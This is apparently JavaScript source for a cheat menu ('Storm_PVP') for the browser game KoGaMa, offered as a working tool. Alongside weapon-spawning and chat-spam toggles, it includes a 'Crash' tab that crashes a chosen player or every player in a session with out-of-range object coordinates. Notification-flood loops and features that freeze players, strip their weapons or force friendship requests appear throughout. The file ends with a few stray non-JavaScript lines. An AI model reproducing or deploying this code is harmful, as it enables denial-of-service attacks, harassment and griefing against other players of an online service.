window["Rapid MouseGun"].onchange = function() {
    if (this.checked) {
        window.autofire271 = setInterval(() => {
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(60)
        }, 100)
    } else {
        clearInterval(window.autofire271)
        window.rapidfire271 = null
    }
}
interface.addCheckBox("Rapid Shuriken", "Weapon")
window["Rapid Shuriken"].onchange = function() {
    if (this.checked) {
        window.autofire2714 = setInterval(() => {
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(45)
        }, 100)
    } else {
        clearInterval(window.autofire2714)
        window.rapidfire2714 = null
    }
}
interface.addCheckBox("Rapid Multiple-Shurikens", "Weapon")
window["Rapid Multiple-Shurikens"].onchange = function() {
    if (this.checked) {
        window.autofire271h = setInterval(() => {
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(46)
        }, 100)
    } else {
        clearInterval(window.autofire271h)
        window.rapidfire271h = null
    }
}
interface.addCheckBox("Rapid Revolver", "Weapon")
window["Rapid Revolver"].onchange = function() {
    if (this.checked) {
        window.autofire271d = setInterval(() => {
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(12)
        }, 100)
    } else {
        clearInterval(window.autofire271d)
        window.rapidfire271d = null
    }
}
interface.addCheckBox("Rapid CenterGun", "Weapon")
window["Rapid CenterGun"].onchange = function() {
    if (this.checked) {
        window.autofire24 = setInterval(() => {
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(1)
        }, 100)
    } else {
        clearInterval(window.autofire24)
        window.rapidfire24 = null
    }
}
interface.addCheckBox("Rapid DoubleRevolvers", "Weapon")
window["Rapid DoubleRevolvers"].onchange = function() {
    if (this.checked) {
        window.autofire24f = setInterval(() => {
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(13)
        }, 100)
    } else {
        clearInterval(window.autofire24f)
        window.rapidfire24f = null
    }
}
interface.addCheckBox("Rapid SlapGun", "Weapon")
window["Rapid SlapGun"].onchange = function() {
    if (this.checked) {
        window.autofire2d4f = setInterval(() => {
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(65)
        }, 100)
    } else {
        clearInterval(window.autofire2d4f)
        window.rapidfire2d4f = null
    }
}




interface.addSelect("Message Type", Object.keys(CheatAPI.MESSAGE_TYPE), "Chat", function(){
    window["Enter Message"].disabled = false
})
interface.addTextField("Enter Message", "Chat")
window["Enter Message"].disabled = true
window["Enter Message"].maxLength = 254
window["Enter Message"].addEventListener("keydown", function(e){
    window["Auto Spam"].disabled = false
    if(e.key == "Enter"){
        CheatAPI.CHEATS.SEND_CHAT_MESSAGE(CheatAPI.MESSAGE_TYPE[window["Message Type"].options[window["Message Type"].selectedIndex].textContent], CheatAPI.PLAYER.ACTORNR, window["Enter Message"].value)
        window["Enter Message"].value = ""
    }
})
interface.addCheckBox("Auto Spam", "Chat")
window["Auto Spam"].disabled = true
window["Auto Spam"].onchange = function(){
    if(this.checked){
        window.spam = setInterval(()=>{
        CheatAPI.CHEATS.SEND_CHAT_MESSAGE(CheatAPI.MESSAGE_TYPE[window["Message Type"].options[window["Message Type"].selectedIndex].value], CheatAPI.PLAYER.ACTORNR, window["Enter Message"].value)
        }, 100)
    }else{
        clearInterval(window.spam)
    }
}
interface.addButton("You", "Objects")
window["You"].onclick = function(){window.open("https://www.kogama.com/profile/me/")}


interface.addTextField("Enter Your ID", "Objects")
window["Enter Your ID"].addEventListener("keydown", function(e){
    window["Auto Clone self"].disabled = false
    if(e.key == "Enter"){
        CheatAPI.CHEATS.CLONE_OBJECT(window["Enter Your ID"].value)
    }
})
interface.addCheckBox("Auto Clone self", "Objects")
window["Auto Clone self"].disabled = true
window["Auto Clone self"].onchange = function(){
    if(this.checked){
        window.spamq = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(window["Enter Your ID"].value,CheatAPI.PLAYER.POS.X+2, CheatAPI.PLAYER.POS.Y, CheatAPI.PLAYER.POS.Z, "BOTH")
        }, 100)
    }else{
        clearInterval(window.spamq)
    }
}
interface.addLine(true, 30, "Objects")
interface.addButton("Build Avatar", "Objects")
window["Build Avatar"].onclick = function(){window.open("https://www.kogama.com/games/play/2593313/")}

interface.addSelect("Clone Object_", Object.keys(CheatAPI.Objects_AVATAR), "Objects", function(){
    window["Auto Object_"].disabled = false
})
interface.addCheckBox("Auto Object_", "Objects")
window["Auto Object_"].disabled = true
window["Auto Object_"].onchange = function(){
    if(this.checked){
        window.spsamf = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(CheatAPI.Objects_AVATAR[window["Clone Object_"].options[window["Clone Object_"].selectedIndex].value],CheatAPI.PLAYER.POS.X+2, CheatAPI.PLAYER.POS.Y, CheatAPI.PLAYER.POS.Z, "BOTH")
        }, 100)
    }else{
        clearInterval(window.spsamf)
    }
}
interface.addLine(true, 30, "Objects")
interface.addButton("War 4", "Objects")
window["War 4"].onclick = function(){window.open("https://www.kogama.com/games/play/2593313/")}

interface.addSelect("Clone Object1", Object.keys(CheatAPI.Objects), "Objects", function(){
    window["Auto Clone"].disabled = false
})
interface.addCheckBox("Auto Clone", "Objects")
window["Auto Clone"].disabled = true
window["Auto Clone"].onchange = function(){
    if(this.checked){
        window.spamf = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(CheatAPI.Objects[window["Clone Object1"].options[window["Clone Object1"].selectedIndex].value],CheatAPI.PLAYER.POS.X+2, CheatAPI.PLAYER.POS.Y, CheatAPI.PLAYER.POS.Z, "BOTH")
        }, 100)
    }else{
        clearInterval(window.spamf)
    }
}

interface.addRange("Generate Random Weapons World(1)", "Objects")
window["Generate Random Weapons World(1)"].input.min = 1
window["Generate Random Weapons World(1)"].input.max = 10
window["Generate Random Weapons World(1)"].input.value = 1
window["Generate Random Weapons World(1)"].input.onchange = function(){
    window["Generate Random Weapons World(1)"].label.textContent = `Generate Random Weapons World(${window["Generate Random Weapons World(1)"].input.value})`
    CheatAPI.TESTE3(parseInt(window["Generate Random Weapons World(1)"].input.value))
}
interface.addButton("Water_red", "Objects")
window["Water_red"].onclick = function(){
    CheatAPI.CHEATS.WATER_SETTINGS(258715,"SERVER")
}

interface.addLine(true, 30, "Objects")
interface.addButton("Super War", "Objects")
window["Super War"].onclick = function(){window.open("https://www.kogama.com/games/play/10054560/")}


interface.addSelect("Clone Object2", Object.keys(CheatAPI.Objects2), "Objects", function(){
    window["Auto Clone2"].disabled = false
})
interface.addCheckBox("Auto Clone2", "Objects")
window["Auto Clone2"].disabled = true
window["Auto Clone2"].onchange = function(){
    if(this.checked){
        window.spamfs = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(CheatAPI.Objects2[window["Clone Object2"].options[window["Clone Object2"].selectedIndex].value],CheatAPI.PLAYER.POS.X+2, CheatAPI.PLAYER.POS.Y, CheatAPI.PLAYER.POS.Z, "BOTH")
        }, 100)
    }else{
        clearInterval(window.spamfs)
    }
}

interface.addLine(true, 30, "Objects")
interface.addButton("cube gun 1011", "Objects")
window["cube gun 1011"].onclick = function(){window.open("https://www.kogama.com/games/play/2263148/")}


interface.addSelect("Clone Object3", Object.keys(CheatAPI.Objects3), "Objects", function(){
    window["Auto Object3"].disabled = false
})
interface.addCheckBox("Auto Object3", "Objects")
window["Auto Object3"].disabled = true
window["Auto Object3"].onchange = function(){
    if(this.checked){
        window.spamfst = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(CheatAPI.Objects3[window["Clone Object3"].options[window["Clone Object3"].selectedIndex].value],CheatAPI.PLAYER.POS.X+2, CheatAPI.PLAYER.POS.Y, CheatAPI.PLAYER.POS.Z, "BOTH")
        }, 100)
    }else{
        clearInterval(window.spamfst)
    }
}

interface.addLine(true, 30, "Objects")
interface.addButton("?LoL CuBe GuN 12 ?", "Objects")
window["?LoL CuBe GuN 12 ?"].onclick = function(){window.open("https://www.kogama.com/games/play/8665705/")}

interface.addSelect("Clone Object4", Object.keys(CheatAPI.Objects4), "Objects", function(){
    window["Auto Object4"].disabled = false
})
interface.addCheckBox("Auto Object4", "Objects")
window["Auto Object4"].disabled = true
window["Auto Object4"].onchange = function(){
    if(this.checked){
        window.spamfstq = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(CheatAPI.Objects4[window["Clone Object4"].options[window["Clone Object4"].selectedIndex].value],CheatAPI.PLAYER.POS.X+2, CheatAPI.PLAYER.POS.Y, CheatAPI.PLAYER.POS.Z, "BOTH")
        }, 100)
    }else{
        clearInterval(window.spamfstq)
    }
}

interface.addLine(true, 30, "Objects")
interface.addButton("cube gun :D :D3", "Objects")
window["cube gun :D :D3"].onclick = function(){window.open("https://www.kogama.com/games/play/879737/")}

interface.addSelect("Clone Object5", Object.keys(CheatAPI.Objects5), "Objects", function(){
    window["Auto Object5"].disabled = false
})
interface.addCheckBox("Auto Object5", "Objects")
window["Auto Object5"].disabled = true
window["Auto Object5"].onchange = function(){
    if(this.checked){
        window.spamfdstq = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(CheatAPI.Objects5[window["Clone Object5"].options[window["Clone Object5"].selectedIndex].value],CheatAPI.PLAYER.POS.X+2, CheatAPI.PLAYER.POS.Y, CheatAPI.PLAYER.POS.Z, "BOTH")
        }, 100)
    }else{
        clearInterval(window.spamfdstq)
    }
}
interface.addLine(true, 30, "Objects")
interface.addButton("- Love Land 43 -", "Objects")
window["- Love Land 43 -"].onclick = function(){window.open("https://www.kogama.com/games/play/5165832/")}

interface.addSelect("Clone Object6", Object.keys(CheatAPI.Objects6), "Objects", function(){
    window["Auto Object6"].disabled = false
})
interface.addCheckBox("Auto Object6", "Objects")
window["Auto Object6"].disabled = true
window["Auto Object6"].onchange = function(){
    if(this.checked){
        window.spamfdstq = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(CheatAPI.Objects6[window["Clone Object6"].options[window["Clone Object6"].selectedIndex].value],CheatAPI.PLAYER.POS.X+2, CheatAPI.PLAYER.POS.Y, CheatAPI.PLAYER.POS.Z, "BOTH")
        }, 100)
    }else{
        clearInterval(window.spamfdstq)
    }
}

interface.addLine(true, 30, "Objects")
interface.addButton("?| KoWaRa | PvP + Oculus |?", "Objects")
window["?| KoWaRa | PvP + Oculus |?"].onclick = function(){window.open("https://www.kogama.com/games/play/5471500/")}

interface.addSelect("Clone Object7", Object.keys(CheatAPI.Objects7), "Objects", function(){
    window["Auto Object7"].disabled = false
})
interface.addCheckBox("Auto Object7", "Objects")
window["Auto Object7"].disabled = true
window["Auto Object7"].onchange = function(){
    if(this.checked){
        window.spsamfdstq = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(CheatAPI.Objects7[window["Clone Object7"].options[window["Clone Object7"].selectedIndex].value],CheatAPI.PLAYER.POS.X+7, CheatAPI.PLAYER.POS.Y, CheatAPI.PLAYER.POS.Z, "BOTH")
        }, 100)
    }else{
        clearInterval(window.spsamfdstq)
    }
}


interface.addCheckBox("Kill Oculus", "Objects")
window["Kill Oculus"].onchange = function() {
    if (this.checked) {
        window.sautofire2d4f = setInterval(() => {for(var lag = 0; lag < 2; lag++){
    CheatAPI.CHEATS.Kill_Object(259342,"BOTH")
    CheatAPI.CHEATS.Kill_Object(259267,"BOTH")
    CheatAPI.CHEATS.Kill_Object(259344,"BOTH")
    CheatAPI.CHEATS.Kill_Object(259271,"BOTH")
    CheatAPI.CHEATS.Kill_Object(259346,"BOTH")
    CheatAPI.CHEATS.Kill_Object(259275,"BOTH")
    CheatAPI.CHEATS.Kill_Object(259348,"BOTH")
    CheatAPI.CHEATS.Kill_Object(259279,"BOTH")
        }}, 1000)
    } else {
        clearInterval(window.sautofire2d4f)
        window.srapidfire2d4f = null
    }
}

interface.addLine(true, 30, "Objects")
interface.addButton("Pool Table", "Objects")
window["Pool Table"].onclick = function(){window.open("https://www.kogama.com/games/play/35401/")}

interface.addSelect("Clone Object8", Object.keys(CheatAPI.Objects8), "Objects", function(){
    window["Auto Object8"].disabled = false
})
interface.addCheckBox("Auto Object8", "Objects")
window["Auto Object8"].disabled = true
window["Auto Object8"].onchange = function(){
    if(this.checked){
        window.spsamfddstq = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(CheatAPI.Objects8[window["Clone Object8"].options[window["Clone Object8"].selectedIndex].value],CheatAPI.PLAYER.POS.X+2, CheatAPI.PLAYER.POS.Y, CheatAPI.PLAYER.POS.Z, "BOTH")
        }, 100)
    }else{
        clearInterval(window.spsamfddstq)
    }
}



interface.addSelect("Effect Type", Object.keys(CheatAPI.EFFECT_TYPE), "Other", function(){
    window["Enter ID"].disabled = false
})

interface.addTextField("Enter ID", "Other")
window["Enter ID"].disabled = true
window["Enter ID"].maxLength = 254
window["Enter ID"].addEventListener("keydown", function(e){
    window["Auto use"].disabled = false
    if(e.key == "Enter"){
        CheatAPI.CHEATS.EFFECT_PLAYER(CheatAPI.EFFECT_TYPE[window["Effect Type"].options[window["Effect Type"].selectedIndex].textContent], window["Enter ID"].value)
        window["Enter ID"].value = ""
    }
})
interface.addCheckBox("Auto use", "Other")
window["Auto use"].disabled = true
window["Auto use"].onchange = function(){
    if(this.checked){
        window.spaam = setInterval(()=>{
        CheatAPI.CHEATS.EFFECT_PLAYER(CheatAPI.EFFECT_TYPE[window["Effect Type"].options[window["Effect Type"].selectedIndex].value], window["Enter ID"].value)
        }, 100)
    }else{
        clearInterval(window.spaam)
    }
}
interface.addLine(true, 30, "Other")

interface.addLine(true, 30, "Other")
interface.addCheckBox("Freeze Players(1 | 2)", "Other")
window["Freeze Players(1 | 2)"].onchange = function(){
    window.freezeplayers = this.checked
    window.freezeplayerskey = this.checked
}


interface.addButton("Reset Terrain", "Other")
window["Reset Terrain"].onclick = function(){
    CheatAPI.CHEATS.RESET_TERRAIN()
}

interface.addButton("Capture Flag", "Other")
window["Capture Flag"].onclick = function(){
    CheatAPI.CHEATS.CAPTURE_FLAG()
}

interface.addLine(true, 30, "Other")


interface.addTextField("Profile ID", "Other")
window["Profile ID"].onchange = function(){
    window["Force Friendship"].disabled = false
}
interface.addButton("Force Friendship", "Other")
window["Force Friendship"].disabled = true
window["Force Friendship"].onclick = function(){
    CheatAPI.CHEATS.REQUEST_FRIENDSHIP(parseInt(window["Profile ID"].value))
    setTimeout(()=>{
        let friendship = CheatAPI.FRIENDSHIP_INFOS
        if(friendship){
            CheatAPI.CHEATS.ACCEPT_FRIENDSHIP(friendship.FriendshipID, friendship.ID, friendship.FriendID)
        }
    }, 5000)
}
interface.addSelect("Material", Object.keys(CheatAPI.MATERIAL_IDS), "Cube", function(){
    window.material = CheatAPI.MATERIAL_IDS[window["Material"].options[window["Material"].selectedIndex].textContent]
    window["Surf"].disabled = false
})
interface.addCheckBox("Surf", "Cube")
window["Surf"].disabled = true
window["Surf"].onchange = function(){
    window.surf = this.checked
}
interface.addButton("Delet Cubes (ON/OFF)", "Cube")
window["Delet Cubes (ON/OFF)"].onclick = function(){
      if (surfno == true){

                   surfno = false; }
 else{
surfno = true;
 }

}

interface.addButton("cubeBot (4 | 5)", "Cube")
window["cubeBot (4 | 5)"].onclick = function(){
      if (cubeBot == true){

                   cubeBot = false; }
 else{
cubeBot = true;
 }

}
interface.addButton("cubeBot-V2 (6 | 7)", "Cube")
window["cubeBot-V2 (6 | 7)"].onclick = function(){
      if (cubeBot1 == true){

                   cubeBot1 = false; }
 else{
cubeBot1 = true;
 }

}
/*interface.addLine(true, 30, "Cube")
interface.addCheckBox("Twin Building", "Cube")
window["Twin Building"].onchange = function(){
    window.twinbuildings = this.checked
}*/
interface.addLine(true, 30, "Cube")
interface.addTextField("Text to Cubes", "Cube")
window["Text to Cubes"].onkeydown = function(e){
    if(e.key == "Enter"){
        CheatAPI.CHEATS.TEXT_TO_CUBES(this.value, "25px sans-serif")
    }
}


interface.addRange("Generate Random Normal World(1)", "Cube")
window["Generate Random Normal World(1)"].input.min = 1
window["Generate Random Normal World(1)"].input.max = 10
window["Generate Random Normal World(1)"].input.value = 1
window["Generate Random Normal World(1)"].input.onchange = function(){
    window["Generate Random Normal World(1)"].label.textContent = `Generate Random Normal World(${window["Generate Random Normal World(1)"].input.value})`
    CheatAPI.TESTE(parseInt(window["Generate Random Normal World(1)"].input.value))
}
interface.addRange("Generate Random Slide World(1)", "Cube")
window["Generate Random Slide World(1)"].input.min = 1
window["Generate Random Slide World(1)"].input.max = 10
window["Generate Random Slide World(1)"].input.value = 1
window["Generate Random Slide World(1)"].input.onchange = function(){
    window["Generate Random Slide World(1)"].label.textContent = `Generate Random Slide World(${window["Generate Random Slide World(1)"].input.value})`
    CheatAPI.TESTE1(parseInt(window["Generate Random Slide World(1)"].input.value))
}

interface.addRange("Generate Random Damage World(1)", "Cube")
window["Generate Random Damage World(1)"].input.min = 1
window["Generate Random Damage World(1)"].input.max = 10
window["Generate Random Damage World(1)"].input.value = 1
window["Generate Random Damage World(1)"].input.onchange = function(){
    window["Generate Random Damage World(1)"].label.textContent = `Generate Random Damage World(${window["Generate Random Damage World(1)"].input.value})`
    CheatAPI.TESTE2(parseInt(window["Generate Random Damage World(1)"].input.value))
}
interface.addRange("Map Generate(1)", "Cube")
window["Map Generate(1)"].input.min = 1
window["Map Generate(1)"].input.max = 10
window["Map Generate(1)"].input.value = 1
window["Map Generate(1)"].input.onchange = function(){
    window["Map Generate(1)"].label.textContent = `Map Generate(${window["Map Generate(1)"].input.value})`
    CheatAPI.MAP_GENERATE(parseInt(window["Map Generate(1)"].input.value))
}
interface.addLine(true, 30, "Cube")

interface.addFileInput("Image to Cubes", "Cube")
window["Image to Cubes"].onchange = function(){
    CheatAPI.CHEATS.IMAGE_TO_CUBES(URL.createObjectURL(this.files[0]))
}
interface.addSelect("Crash Player", [], "Crash", function(){
    let WoIds = []
    CheatAPI.PLAYERS.forEach((player)=>{
        WoIds.push(player.WOID)
    })
    CheatAPI.CHEATS.CLONE_OBJECT(WoIds[window["Crash Player"].selectedIndex - 1]+2, -3.402823466E+38, -3.402823466E+38, -3.402823466E+38, "CLIENT")
})
interface.addButton("Crash All", "Crash")
window["Crash All"].onclick = function(){
    CheatAPI.PLAYERS.forEach((player)=>{
        CheatAPI.CHEATS.CLONE_OBJECT(player.WOID+2, -3.402823466E+38, -3.402823466E+38, -3.402823466E+38, "CLIENT")
    })
}
interface.addButton("Instant WebGL Crash", "Crash")
window["Instant WebGL Crash"].onclick = function(){
    CheatAPI.CHEATS.SET_SIZE(CheatAPI.PLAYER.WOID, 9999999999999999999999999999999999, "CLIENT")
    setTimeout(()=>{
        CheatAPI.CHEATS.SET_SIZE(CheatAPI.PLAYER.WOID, 1, "CLIENT")
    }, 5000)
}

interface.addButton("Black Map Crash", "Crash")
window["Black Map Crash"].onclick = function(){
CheatAPI.CHEATS.CLONE_OBJECTTEST(75579,"BOTH")
}

interface.addSelect("Notification", Object.keys(CheatAPI.NOTI_IDS), "Notif", function(){
    CheatAPI.CHEATS.CRASH_NOTI(CheatAPI.NOTI_IDS[window["Notification"].options[window["Notification"].selectedIndex].textContent])
})

interface.addSelect("Crash Notification", Object.keys(CheatAPI.NOTI_IDS), "Notif", function(){
    CheatAPI.CHEATS.CRASH_NOTI2(CheatAPI.NOTI_IDS[window["Crash Notification"].options[window["Crash Notification"].selectedIndex].textContent])
})
interface.addLine(true, 30, "Notif")
interface.addSelect("LEVEL Notification", Object.keys(CheatAPI.LEVEL_IDS), "Notif", function(){
    CheatAPI.CHEATS.LEVEL_NOTI(CheatAPI.LEVEL_IDS[window["LEVEL Notification"].options[window["LEVEL Notification"].selectedIndex].textContent])
})

interface.addSelect("LEVEL Notification Crash", Object.keys(CheatAPI.LEVEL_IDS), "Notif", function(){
    CheatAPI.CHEATS.LEVEL_NOTI2(CheatAPI.LEVEL_IDS[window["LEVEL Notification Crash"].options[window["LEVEL Notification Crash"].selectedIndex].textContent])
})
interface.addSelect("Kill Notification", Object.keys(CheatAPI.KILLED_BY), "Notif", function(){
    CheatAPI.CHEATS.KILL_NOTI(CheatAPI.KILLED_BY[window["Kill Notification"].options[window["Kill Notification"].selectedIndex].textContent])
})
interface.addSelect("Kill Notification Crash", Object.keys(CheatAPI.KILLED_BY), "Notif", function(){
    CheatAPI.CHEATS.KILL_NOTI2(CheatAPI.KILLED_BY[window["Kill Notification Crash"].options[window["Kill Notification Crash"].selectedIndex].textContent])
})
interface.addButton("Joined Notification", "Notif")
window["Joined Notification"].onclick = function(){
    CheatAPI.CHEATS.JOINED_NOTI("BOTH")
}
interface.addButton("Joined Notification CRASH", "Notif")
window["Joined Notification CRASH"].onclick = function(){{for(var lag = 0; lag < 9999; lag++){
    CheatAPI.CHEATS.JOINED_NOTI("CLIENT")
}}}
interface.addButton("Love Notification", "Notif")
window["Love Notification"].onclick = function(){
    CheatAPI.CHEATS.LOVE_NO("BOTH")
}
interface.addButton("Love Notification CRASH", "Notif")
window["Love Notification CRASH"].onclick = function(){{for(var lag = 0; lag < 9999; lag++){
    CheatAPI.CHEATS.LOVE_NO("CLIENT")
}}}
interface.addLine(true, 30, "Notif")
interface.addRange("Game tier (1)", "Notif")
window["Game tier (1)"].input.min = 0
window["Game tier (1)"].input.max = 255
window["Game tier (1)"].input.value = 1
window["Game tier (1)"].input.onchange = function(){
    window["Game tier (1)"].label.textContent = `Game tier(${window["Game tier (1)"].input.value})`
    CheatAPI.CHEATS.GAMETIER(parseInt(window["Game tier (1)"].input.value))
}



interface.addCheckBox("Anti-Kick", "Crash")
window["Anti-Kick"].onchange = function() {
    if (this.checked) {
        window.ssautofire2d4f = setInterval(() => {
   CheatAPI.PLAYERS.forEach((player)=>{ if(player.WOID != CheatAPI.PLAYER.WOID)
                CheatAPI.CHEATS.SET_SIZE(player.WOID,1,"SERVER")
        }, 1000)})
          } else {
        clearInterval(window.ssautofire2d4f)
        window.ssrapidfire2d4f = null
    }
}
interface.addCheckBox("Anti Crash", "Crash")
window["Anti Crash"].onchange = function() {
    if (this.checked) {
        CheatAPI.SERVER_BLOCKS.push(79)
        CheatAPI.SERVER_BLOCKS.push(57)
    } else {
        let index = [CheatAPI.SERVER_BLOCKS.indexOf(79), CheatAPI.SERVER_BLOCKS.indexOf(57)]
        CheatAPI.SERVER_BLOCKS.splice(index[0], index[0] - 1)
        CheatAPI.SERVER_BLOCKS.splice(index[1], index[1] - 1)
    }
}

interface.addSelect("Game", Object.keys(CheatAPI.Objects_XP), "MAP", function(){
    window["Water 999"].disabled = false
    window["Water -999"].disabled = false
})
interface.addCheckBox("Water 999", "MAP")
window["Water 999"].disabled = true
window["Water 999"].onchange = function(){
    if(this.checked){
        window.spamfstq = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(CheatAPI.Objects_XP[window["Game"].options[window["Game"].selectedIndex].value],999,99999999999999,999, "BOTH")
        }, 100)
    }else{
        clearInterval(window.spamfstq)
    }
}
interface.addCheckBox("Water -999", "MAP")
window["Water -999"].disabled = true
window["Water -999"].onchange = function(){
    if(this.checked){
        window.sspamfstq = setInterval(()=>{
        CheatAPI.CHEATS.CLONE_OBJECT(CheatAPI.Objects_XP[window["Game"].options[window["Game"].selectedIndex].value],-999,-9999999999999,-999, "BOTH")
        }, 100)
    }else{
        clearInterval(window.sspamfstq)
    }
}
interface.addLine(true, 30, "MAP")
 interface.addText(`War4`, "MAP")
interface.addCheckBox("No Weapons War4", "MAP")
window["No Weapons War4"].onchange = function() {
        CheatAPI.PLAYERS.forEach((player)=>{
  if(this.checked){
        window.wqspam3s = setInterval(()=>{
        CheatAPI.CHEATS.NO_WEAPONS_WAR4_TEAMG(player.WOID)
        CheatAPI.CHEATS.NO_WEAPONS_WAR4_TEAMB(player.WOID)
        CheatAPI.CHEATS.NO_WEAPONS_WAR4_TEAMR(player.WOID)
        CheatAPI.CHEATS.NO_WEAPONS_WAR4_TEAMY(player.WOID)
        }, 2500)
    }else{
        clearInterval(window.wqspam3s)

    }})
}

let waitingText = document.createElement("h1")
waitingText.className = "CheatWaitingText"
waitingText.textContent = "Storm_PVP Wainting Kogama..."
menu.appendChild(waitingText)

let check = setInterval(() => {
    if (window.kogamaload) {
        waitingText.remove()
        tabs.style.display = "block"
        interface.addLine(true, 30, "Other")
        interface.addText(`User Name: ${CheatAPI.PLAYER.USERNAME}`, "Other")
        interface.addText(`World Object ID: ${CheatAPI.PLAYER.WOID}`, "Other")
        interface.addText(`Actor Number: ${CheatAPI.PLAYER.ACTORNR}`, "Other")
        interface.addText("X: 0", "Other")
        interface.addText("Y: 0", "Other")
        interface.addText("Z: 0", "Other")
        Object.values(interface.tabs)[0].click()
        let players = []
        CheatAPI.PLAYERS.forEach((player)=>{
            players.push(player.USERNAME)
        })
        window["Crash Player"].updateOptions(players)
        clearInterval(check)

    }
}, 1000)



//delate blocks 
//notifiction[delate crash player]
// @wait (0.9)
end
     end
         end